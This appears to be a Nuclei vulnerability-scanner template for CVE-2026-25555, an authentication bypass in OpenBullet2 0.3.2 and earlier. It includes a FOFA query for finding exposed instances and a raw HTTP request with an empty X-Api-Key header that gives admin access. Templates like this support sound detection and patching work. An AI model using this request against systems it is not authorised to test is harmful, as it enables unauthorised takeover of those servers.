id: CVE-2026-25555 info: name: OpenBullet2 <= 0.3.2 - Authentication Bypass author: 0x_Akoko severity: critical description: | OpenBullet2 <= 0.3.2 contains an authentication bypass caused by improper API key authentication middleware handling empty X-Api-Key header, letting unauthenticated attackers gain admin access, exploit requires sending empty X-Api-Key header. impact: | Unauthenticated attackers can gain full admin access, compromising the entire system and API endpoints. remediation: | Update to a version later than 0.3.2 or the latest available version. reference: - https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2 - https://nvd.nist.gov/vuln/detail/CVE-2026-25555 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-25555 epss-score: 0.01824 epss-percentile: 0.76534 cwe-id: CWE-287 metadata: verified: false max-request: 1 vendor: openbullet product: openbullet2 fofa-query: title="Openbullet2WebClient" tags: cve,cve2026,openbullet2,auth-bypass,unauth http: - raw: - | GET /api/v1/info/server HTTP/1.1 Host: {{Hostname}} X-Api-Key: matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_all(body, "\"operatingSystem\"", "\"buildNumber\"", "\"currentWorkingDirectory\"")' condition: and # digest: 490a0046304402200e776905ddea91cadd837083b9a5aa48bb24daecb35b377acf51c85b6c6dac8902203ab910720ed06fbebb9d3764d6ac819300e5c433f3879911e083f84e31c80fd9:922c64590222798bb761d5b6d8e72950